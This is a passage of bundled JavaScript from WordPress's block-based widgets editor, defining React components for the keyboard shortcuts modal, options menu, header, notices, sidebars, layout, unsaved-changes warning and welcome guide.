3190 );
3191 },
3192 [categoryName]
3193 );
3194 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3195 ShortcutSection,
3196 {
3197 title,
3198 shortcuts: categoryShortcuts.concat(additionalShortcuts)
3199 }
3200 );
3201};
3202function KeyboardShortcutHelpModal({
3203 isModalActive,
3204 toggleModal
3205}) {
3206 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/edit-widgets/keyboard-shortcuts", toggleModal, {
3207 bindGlobal: true
3208 });
3209 if (!isModalActive) {
3210 return null;
3211 }
3212 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
3213 external_wp_components_namespaceObject.Modal,
3214 {
3215 className: "edit-widgets-keyboard-shortcut-help-modal",
3216 title: (0,external_wp_i18n_namespaceObject.__)("Keyboard shortcuts"),
3217 onRequestClose: toggleModal,
3218 children: [
3219 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3220 ShortcutSection,
3221 {
3222 className: "edit-widgets-keyboard-shortcut-help-modal__main-shortcuts",
3223 shortcuts: ["core/edit-widgets/keyboard-shortcuts"]
3224 }
3225 ),
3226 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3227 ShortcutCategorySection,
3228 {
3229 title: (0,external_wp_i18n_namespaceObject.__)("Global shortcuts"),
3230 categoryName: "global"
3231 }
3232 ),
3233 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3234 ShortcutCategorySection,
3235 {
3236 title: (0,external_wp_i18n_namespaceObject.__)("Selection shortcuts"),
3237 categoryName: "selection"
3238 }
3239 ),
3240 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3241 ShortcutCategorySection,
3242 {
3243 title: (0,external_wp_i18n_namespaceObject.__)("Block shortcuts"),
3244 categoryName: "block",
3245 additionalShortcuts: [
3246 {
3247 keyCombination: { character: "/" },
3248 description: (0,external_wp_i18n_namespaceObject.__)(
3249 "Change the block type after adding a new paragraph."
3250 ),
3251 /* translators: The forward-slash character. e.g. '/'. */
3252 ariaLabel: (0,external_wp_i18n_namespaceObject.__)("Forward-slash")
3253 }
3254 ]
3255 }
3256 ),
3257 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3258 ShortcutSection,
3259 {
3260 title: (0,external_wp_i18n_namespaceObject.__)("Text formatting"),
3261 shortcuts: textFormattingShortcuts
3262 }
3263 ),
3264 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3265 ShortcutCategorySection,
3266 {
3267 title: (0,external_wp_i18n_namespaceObject.__)("List View shortcuts"),
3268 categoryName: "list-view"
3269 }
3270 )
3271 ]
3272 }
3273 );
3274}
3275
3276
3277;// ./node_modules/@wordpress/edit-widgets/build-module/components/more-menu/tools-more-menu-group.js
3278
3279
3280const { Fill: ToolsMoreMenuGroup, Slot } = (0,external_wp_components_namespaceObject.createSlotFill)(
3281 "EditWidgetsToolsMoreMenuGroup"
3282);
3283ToolsMoreMenuGroup.Slot = ({ fillProps }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Slot, { fillProps, children: (fills) => fills.length > 0 && fills });
3284var tools_more_menu_group_default = ToolsMoreMenuGroup;
3285
3286
3287;// ./node_modules/@wordpress/edit-widgets/build-module/components/more-menu/index.js
3288
3289
3290
3291
3292
3293
3294
3295
3296
3297
3298
3299function MoreMenu() {
3300 const [
3301 isKeyboardShortcutsModalActive,
3302 setIsKeyboardShortcutsModalVisible
3303 ] = (0,external_wp_element_namespaceObject.useState)(false);
3304 const toggleKeyboardShortcutsModal = () => setIsKeyboardShortcutsModalVisible(!isKeyboardShortcutsModalActive);
3305 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)(
3306 "core/edit-widgets/keyboard-shortcuts",
3307 toggleKeyboardShortcutsModal
3308 );
3309 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
3310 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3311 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3312 external_wp_components_namespaceObject.DropdownMenu,
3313 {
3314 icon: more_vertical_default,
3315 label: (0,external_wp_i18n_namespaceObject.__)("Options"),
3316 popoverProps: {
3317 placement: "bottom-end",
3318 className: "more-menu-dropdown__content"
3319 },
3320 toggleProps: {
3321 tooltipPosition: "bottom",
3322 size: "compact"
3323 },
3324 children: (onClose) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3325 isLargeViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject._x)("View", "noun"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3326 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
3327 {
3328 scope: "core/edit-widgets",
3329 name: "fixedToolbar",
3330 label: (0,external_wp_i18n_namespaceObject.__)("Top toolbar"),
3331 info: (0,external_wp_i18n_namespaceObject.__)(
3332 "Access all block and document tools in a single place"
3333 ),
3334 messageActivated: (0,external_wp_i18n_namespaceObject.__)(
3335 "Top toolbar activated"
3336 ),
3337 messageDeactivated: (0,external_wp_i18n_namespaceObject.__)(
3338 "Top toolbar deactivated"
3339 )
3340 }
3341 ) }),
3342 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Tools"), children: [
3343 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3344 external_wp_components_namespaceObject.MenuItem,
3345 {
3346 onClick: () => {
3347 setIsKeyboardShortcutsModalVisible(true);
3348 },
3349 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.access("h"),
3350 children: (0,external_wp_i18n_namespaceObject.__)("Keyboard shortcuts")
3351 }
3352 ),
3353 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3354 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
3355 {
3356 scope: "core/edit-widgets",
3357 name: "welcomeGuide",
3358 label: (0,external_wp_i18n_namespaceObject.__)("Welcome Guide")
3359 }
3360 ),
3361 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
3362 external_wp_components_namespaceObject.MenuItem,
3363 {
3364 role: "menuitem",
3365 icon: external_default,
3366 href: (0,external_wp_i18n_namespaceObject.__)(
3367 "https://wordpress.org/documentation/article/block-based-widgets-editor/"
3368 ),
3369 target: "_blank",
3370 rel: "noopener noreferrer",
3371 children: [
3372 (0,external_wp_i18n_namespaceObject.__)("Help"),
3373 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
3374 as: "span",
3375 /* translators: accessibility text */
3376 children: (0,external_wp_i18n_namespaceObject.__)("(opens in a new tab)")
3377 })
3378 ]
3379 }
3380 ),
3381 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3382 tools_more_menu_group_default.Slot,
3383 {
3384 fillProps: { onClose }
3385 }
3386 )
3387 ] }),
3388 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Preferences"), children: [
3389 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3390 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
3391 {
3392 scope: "core/edit-widgets",
3393 name: "keepCaretInsideBlock",
3394 label: (0,external_wp_i18n_namespaceObject.__)(
3395 "Contain text cursor inside block"
3396 ),
3397 info: (0,external_wp_i18n_namespaceObject.__)(
3398 "Aids screen readers by stopping text caret from leaving blocks."
3399 ),
3400 messageActivated: (0,external_wp_i18n_namespaceObject.__)(
3401 "Contain text cursor inside block activated"
3402 ),
3403 messageDeactivated: (0,external_wp_i18n_namespaceObject.__)(
3404 "Contain text cursor inside block deactivated"
3405 )
3406 }
3407 ),
3408 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3409 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
3410 {
3411 scope: "core/edit-widgets",
3412 name: "themeStyles",
3413 info: (0,external_wp_i18n_namespaceObject.__)(
3414 "Make the editor look like your theme."
3415 ),
3416 label: (0,external_wp_i18n_namespaceObject.__)("Use theme styles")
3417 }
3418 ),
3419 isLargeViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3420 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
3421 {
3422 scope: "core/edit-widgets",
3423 name: "showBlockBreadcrumbs",
3424 label: (0,external_wp_i18n_namespaceObject.__)("Display block breadcrumbs"),
3425 info: (0,external_wp_i18n_namespaceObject.__)(
3426 "Shows block breadcrumbs at the bottom of the editor."
3427 ),
3428 messageActivated: (0,external_wp_i18n_namespaceObject.__)(
3429 "Display block breadcrumbs activated"
3430 ),
3431 messageDeactivated: (0,external_wp_i18n_namespaceObject.__)(
3432 "Display block breadcrumbs deactivated"
3433 )
3434 }
3435 )
3436 ] })
3437 ] })
3438 }
3439 ),
3440 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3441 KeyboardShortcutHelpModal,
3442 {
3443 isModalActive: isKeyboardShortcutsModalActive,
3444 toggleModal: toggleKeyboardShortcutsModal
3445 }
3446 )
3447 ] });
3448}
3449
3450
3451;// ./node_modules/@wordpress/edit-widgets/build-module/components/header/index.js
3452
3453
3454
3455
3456
3457
3458
3459
3460
3461
3462
3463
3464function Header() {
3465 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
3466 const blockToolbarRef = (0,external_wp_element_namespaceObject.useRef)();
3467 const { hasFixedToolbar } = (0,external_wp_data_namespaceObject.useSelect)(
3468 (select) => ({
3469 hasFixedToolbar: !!select(external_wp_preferences_namespaceObject.store).get(
3470 "core/edit-widgets",
3471 "fixedToolbar"
3472 )
3473 }),
3474 []
3475 );
3476 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-header", children: [
3477 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-header__navigable-toolbar-wrapper", children: [
3478 isLargeViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-widgets-header__title", children: (0,external_wp_i18n_namespaceObject.__)("Widgets") }),
3479 !isLargeViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3480 external_wp_components_namespaceObject.VisuallyHidden,
3481 {
3482 as: "h1",
3483 className: "edit-widgets-header__title",
3484 children: (0,external_wp_i18n_namespaceObject.__)("Widgets")
3485 }
3486 ),
3487 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(document_tools_default, {}),
3488 hasFixedToolbar && isLargeViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3489 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "selected-block-tools-wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockToolbar, { hideDragHandle: true }) }),
3490 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3491 external_wp_components_namespaceObject.Popover.Slot,
3492 {
3493 ref: blockToolbarRef,
3494 name: "block-toolbar"
3495 }
3496 )
3497 ] })
3498 ] }),
3499 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-header__actions", children: [
3500 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(pinned_items_default.Slot, { scope: "core/edit-widgets" }),
3501 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(save_button_default, {}),
3502 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MoreMenu, {})
3503 ] })
3504 ] }) });
3505}
3506var header_default = Header;
3507
3508
3509;// ./node_modules/@wordpress/edit-widgets/build-module/components/notices/index.js
3510
3511
3512
3513
3514const MAX_VISIBLE_NOTICES = -3;
3515function Notices() {
3516 const { removeNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
3517 const { notices } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
3518 return {
3519 notices: select(external_wp_notices_namespaceObject.store).getNotices()
3520 };
3521 }, []);
3522 const dismissibleNotices = notices.filter(
3523 ({ isDismissible, type }) => isDismissible && type === "default"
3524 );
3525 const nonDismissibleNotices = notices.filter(
3526 ({ isDismissible, type }) => !isDismissible && type === "default"
3527 );
3528 const snackbarNotices = notices.filter(({ type }) => type === "snackbar").slice(MAX_VISIBLE_NOTICES);
3529 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3530 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3531 external_wp_components_namespaceObject.NoticeList,
3532 {
3533 notices: nonDismissibleNotices,
3534 className: "edit-widgets-notices__pinned"
3535 }
3536 ),
3537 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3538 external_wp_components_namespaceObject.NoticeList,
3539 {
3540 notices: dismissibleNotices,
3541 className: "edit-widgets-notices__dismissible",
3542 onRemove: removeNotice
3543 }
3544 ),
3545 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3546 external_wp_components_namespaceObject.SnackbarList,
3547 {
3548 notices: snackbarNotices,
3549 className: "edit-widgets-notices__snackbar",
3550 onRemove: removeNotice
3551 }
3552 )
3553 ] });
3554}
3555var notices_default = Notices;
3556
3557
3558;// ./node_modules/@wordpress/edit-widgets/build-module/components/widget-areas-block-editor-content/index.js
3559
3560
3561
3562
3563
3564
3565
3566
3567function WidgetAreasBlockEditorContent({
3568 blockEditorSettings
3569}) {
3570 const hasThemeStyles = (0,external_wp_data_namespaceObject.useSelect)(
3571 (select) => !!select(external_wp_preferences_namespaceObject.store).get(
3572 "core/edit-widgets",
3573 "themeStyles"
3574 ),
3575 []
3576 );
3577 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
3578 const styles = (0,external_wp_element_namespaceObject.useMemo)(() => {
3579 return hasThemeStyles ? blockEditorSettings.styles : [];
3580 }, [blockEditorSettings, hasThemeStyles]);
3581 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-block-editor", children: [
3582 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(notices_default, {}),
3583 !isLargeViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockToolbar, { hideDragHandle: true }),
3584 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockTools, { children: [
3585 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcuts_default, {}),
3586 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3587 external_wp_blockEditor_namespaceObject.__unstableEditorStyles,
3588 {
3589 styles,
3590 scope: ":where(.editor-styles-wrapper)"
3591 }
3592 ),
3593 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockSelectionClearer, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.WritingFlow, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, { className: "edit-widgets-main-block-list" }) }) })
3594 ] })
3595 ] });
3596}
3597
3598
3599;// ./node_modules/@wordpress/edit-widgets/build-module/hooks/use-widget-library-insertion-point.js
3600
3601
3602
3603
3604
3605const useWidgetLibraryInsertionPoint = () => {
3606 const firstRootId = (0,external_wp_data_namespaceObject.useSelect)((select) => {
3607 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
3608 const widgetAreasPost = getEntityRecord(
3609 KIND,
3610 POST_TYPE,
3611 buildWidgetAreasPostId()
3612 );
3613 return widgetAreasPost?.blocks[0]?.clientId;
3614 }, []);
3615 return (0,external_wp_data_namespaceObject.useSelect)(
3616 (select) => {
3617 const {
3618 getBlockRootClientId,
3619 getBlockSelectionEnd,
3620 getBlockOrder,
3621 getBlockIndex
3622 } = select(external_wp_blockEditor_namespaceObject.store);
3623 const insertionPoint = select(store_store).__experimentalGetInsertionPoint();
3624 if (insertionPoint.rootClientId) {
3625 return insertionPoint;
3626 }
3627 const clientId = getBlockSelectionEnd() || firstRootId;
3628 const rootClientId = getBlockRootClientId(clientId);
3629 if (clientId && rootClientId === "") {
3630 return {
3631 rootClientId: clientId,
3632 insertionIndex: getBlockOrder(clientId).length
3633 };
3634 }
3635 return {
3636 rootClientId,
3637 insertionIndex: getBlockIndex(clientId) + 1
3638 };
3639 },
3640 [firstRootId]
3641 );
3642};
3643var use_widget_library_insertion_point_default = useWidgetLibraryInsertionPoint;
3644
3645
3646;// ./node_modules/@wordpress/edit-widgets/build-module/components/secondary-sidebar/inserter-sidebar.js
3647
3648
3649
3650
3651
3652
3653
3654function InserterSidebar() {
3655 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
3656 const { rootClientId, insertionIndex } = use_widget_library_insertion_point_default();
3657 const { setIsInserterOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
3658 const closeInserter = (0,external_wp_element_namespaceObject.useCallback)(() => {
3659 return setIsInserterOpened(false);
3660 }, [setIsInserterOpened]);
3661 const libraryRef = (0,external_wp_element_namespaceObject.useRef)();
3662 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-widgets-layout__inserter-panel", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-widgets-layout__inserter-panel-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3663 external_wp_blockEditor_namespaceObject.__experimentalLibrary,
3664 {
3665 showInserterHelpPanel: true,
3666 shouldFocusBlock: isMobileViewport,
3667 rootClientId,
3668 __experimentalInsertionIndex: insertionIndex,
3669 ref: libraryRef,
3670 onClose: closeInserter
3671 }
3672 ) }) });
3673}
3674
3675
3676;// ./node_modules/@wordpress/edit-widgets/build-module/components/secondary-sidebar/list-view-sidebar.js
3677
3678
3679
3680
3681
3682
3683
3684
3685
3686
3687
3688function ListViewSidebar() {
3689 const { setIsListViewOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
3690 const { getListViewToggleRef } = unlock((0,external_wp_data_namespaceObject.useSelect)(store_store));
3691 const [dropZoneElement, setDropZoneElement] = (0,external_wp_element_namespaceObject.useState)(null);
3692 const focusOnMountRef = (0,external_wp_compose_namespaceObject.useFocusOnMount)("firstElement");
3693 const closeListView = (0,external_wp_element_namespaceObject.useCallback)(() => {
3694 setIsListViewOpened(false);
3695 getListViewToggleRef().current?.focus();
3696 }, [getListViewToggleRef, setIsListViewOpened]);
3697 const closeOnEscape = (0,external_wp_element_namespaceObject.useCallback)(
3698 (event) => {
3699 if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && !event.defaultPrevented) {
3700 event.preventDefault();
3701 closeListView();
3702 }
3703 },
3704 [closeListView]
3705 );
3706 return (
3707 // eslint-disable-next-line jsx-a11y/no-static-element-interactions
3708 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
3709 "div",
3710 {
3711 className: "edit-widgets-editor__list-view-panel",
3712 onKeyDown: closeOnEscape,
3713 children: [
3714 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-editor__list-view-panel-header", children: [
3715 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", { children: (0,external_wp_i18n_namespaceObject.__)("List View") }),
3716 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3717 external_wp_components_namespaceObject.Button,
3718 {
3719 icon: close_small_default,
3720 label: (0,external_wp_i18n_namespaceObject.__)("Close"),
3721 onClick: closeListView,
3722 size: "compact"
3723 }
3724 )
3725 ] }),
3726 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3727 "div",
3728 {
3729 className: "edit-widgets-editor__list-view-panel-content",
3730 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([focusOnMountRef, setDropZoneElement]),
3731 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalListView, { dropZoneElement })
3732 }
3733 )
3734 ]
3735 }
3736 )
3737 );
3738}
3739
3740
3741;// ./node_modules/@wordpress/edit-widgets/build-module/components/secondary-sidebar/index.js
3742
3743
3744
3745
3746
3747function SecondarySidebar() {
3748 const { isInserterOpen, isListViewOpen } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
3749 const { isInserterOpened, isListViewOpened } = select(store_store);
3750 return {
3751 isInserterOpen: isInserterOpened(),
3752 isListViewOpen: isListViewOpened()
3753 };
3754 }, []);
3755 if (isInserterOpen) {
3756 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(InserterSidebar, {});
3757 }
3758 if (isListViewOpen) {
3759 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ListViewSidebar, {});
3760 }
3761 return null;
3762}
3763
3764
3765;// ./node_modules/@wordpress/edit-widgets/build-module/components/layout/interface.js
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776
3777
3778const interfaceLabels = {
3779 /* translators: accessibility text for the widgets screen top bar landmark region. */
3780 header: (0,external_wp_i18n_namespaceObject.__)("Widgets top bar"),
3781 /* translators: accessibility text for the widgets screen content landmark region. */
3782 body: (0,external_wp_i18n_namespaceObject.__)("Widgets and blocks"),
3783 /* translators: accessibility text for the widgets screen settings landmark region. */
3784 sidebar: (0,external_wp_i18n_namespaceObject.__)("Widgets settings"),
3785 /* translators: accessibility text for the widgets screen footer landmark region. */
3786 footer: (0,external_wp_i18n_namespaceObject.__)("Widgets footer")
3787};
3788function Interface({ blockEditorSettings }) {
3789 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
3790 const isHugeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("huge", ">=");
3791 const { setIsInserterOpened, setIsListViewOpened, closeGeneralSidebar } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
3792 const {
3793 hasBlockBreadCrumbsEnabled,
3794 hasSidebarEnabled,
3795 isInserterOpened,
3796 isListViewOpened
3797 } = (0,external_wp_data_namespaceObject.useSelect)(
3798 (select) => ({
3799 hasSidebarEnabled: !!select(
3800 store
3801 ).getActiveComplementaryArea(store_store.name),
3802 isInserterOpened: !!select(store_store).isInserterOpened(),
3803 isListViewOpened: !!select(store_store).isListViewOpened(),
3804 hasBlockBreadCrumbsEnabled: !!select(external_wp_preferences_namespaceObject.store).get(
3805 "core/edit-widgets",
3806 "showBlockBreadcrumbs"
3807 )
3808 }),
3809 []
3810 );
3811 (0,external_wp_element_namespaceObject.useEffect)(() => {
3812 if (hasSidebarEnabled && !isHugeViewport) {
3813 setIsInserterOpened(false);
3814 setIsListViewOpened(false);
3815 }
3816 }, [hasSidebarEnabled, isHugeViewport]);
3817 (0,external_wp_element_namespaceObject.useEffect)(() => {
3818 if ((isInserterOpened || isListViewOpened) && !isHugeViewport) {
3819 closeGeneralSidebar();
3820 }
3821 }, [isInserterOpened, isListViewOpened, isHugeViewport]);
3822 const secondarySidebarLabel = isListViewOpened ? (0,external_wp_i18n_namespaceObject.__)("List View") : (0,external_wp_i18n_namespaceObject.__)("Block Library");
3823 const hasSecondarySidebar = isListViewOpened || isInserterOpened;
3824 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3825 interface_skeleton_default,
3826 {
3827 labels: {
3828 ...interfaceLabels,
3829 secondarySidebar: secondarySidebarLabel
3830 },
3831 header: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(header_default, {}),
3832 secondarySidebar: hasSecondarySidebar && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SecondarySidebar, {}),
3833 sidebar: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(complementary_area_default.Slot, { scope: "core/edit-widgets" }),
3834 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3835 WidgetAreasBlockEditorContent,
3836 {
3837 blockEditorSettings
3838 }
3839 ) }),
3840 footer: hasBlockBreadCrumbsEnabled && !isMobileViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-widgets-layout__footer", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockBreadcrumb, { rootLabelText: (0,external_wp_i18n_namespaceObject.__)("Widgets") }) })
3841 }
3842 );
3843}
3844var interface_default = Interface;
3845
3846
3847;// ./node_modules/@wordpress/edit-widgets/build-module/components/layout/unsaved-changes-warning.js
3848
3849
3850
3851
3852function UnsavedChangesWarning() {
3853 const isDirty = (0,external_wp_data_namespaceObject.useSelect)((select) => {
3854 const { getEditedWidgetAreas } = select(store_store);
3855 const editedWidgetAreas = getEditedWidgetAreas();
3856 return editedWidgetAreas?.length > 0;
3857 }, []);
3858 (0,external_wp_element_namespaceObject.useEffect)(() => {
3859 const warnIfUnsavedChanges = (event) => {
3860 if (isDirty) {
3861 event.returnValue = (0,external_wp_i18n_namespaceObject.__)(
3862 "You have unsaved changes. If you proceed, they will be lost."
3863 );
3864 return event.returnValue;
3865 }
3866 };
3867 window.addEventListener("beforeunload", warnIfUnsavedChanges);
3868 return () => {
3869 window.removeEventListener("beforeunload", warnIfUnsavedChanges);
3870 };
3871 }, [isDirty]);
3872 return null;
3873}
3874
3875
3876;// ./node_modules/@wordpress/edit-widgets/build-module/components/welcome-guide/index.js
3877
3878
3879
3880
3881
3882
3883
3884function WelcomeGuide() {
3885 const isActive = (0,external_wp_data_namespaceObject.useSelect)(
3886 (select) => !!select(external_wp_preferences_namespaceObject.store).get(
3887 "core/edit-widgets",
3888 "welcomeGuide"
3889 ),
3890 []
3891 );
3892 const { toggle } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
3893 const widgetAreas = (0,external_wp_data_namespaceObject.useSelect)(
3894 (select) => select(store_store).getWidgetAreas({ per_page: -1 }),
3895 []
3896 );
3897 if (!isActive) {
3898 return null;
3899 }
3900 const isEntirelyBlockWidgets = widgetAreas?.every(
3901 (widgetArea) => widgetArea.id === "wp_inactive_widgets" || widgetArea.widgets.every(
3902 (widgetId) => widgetId.startsWith("block-")
3903 )
3904 );
3905 const numWidgetAreas = widgetAreas?.filter(
3906 (widgetArea) => widgetArea.id !== "wp_inactive_widgets"
3907 ).length ?? 0;
3908 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3909 external_wp_components_namespaceObject.Guide,
3910 {
3911 className: "edit-widgets-welcome-guide",
3912 contentLabel: (0,external_wp_i18n_namespaceObject.__)("Welcome to block Widgets"),
3913 finishButtonText: (0,external_wp_i18n_namespaceObject.__)("Get started"),
3914 onFinish: () => toggle("core/edit-widgets", "welcomeGuide"),
3915 pages: [
3916 {
3917 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3918 WelcomeGuideImage,
3919 {
3920 nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-canvas.svg",
3921 animatedSrc: "https://s.w.org/images/block-editor/welcome-canvas.gif"
3922 }
3923 ),
3924 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3925 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-widgets-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Welcome to block Widgets") }),
3926 isEntirelyBlockWidgets ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-widgets-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.sprintf)(
3927 // Translators: %s: Number of block areas in the current theme.
3928 (0,external_wp_i18n_namespaceObject._n)(
3929 "Your theme provides %s \u201Cblock\u201D area for you to add and edit content.\xA0Try adding a search bar, social icons, or other types of blocks here and see how they\u2019ll look on your site.",
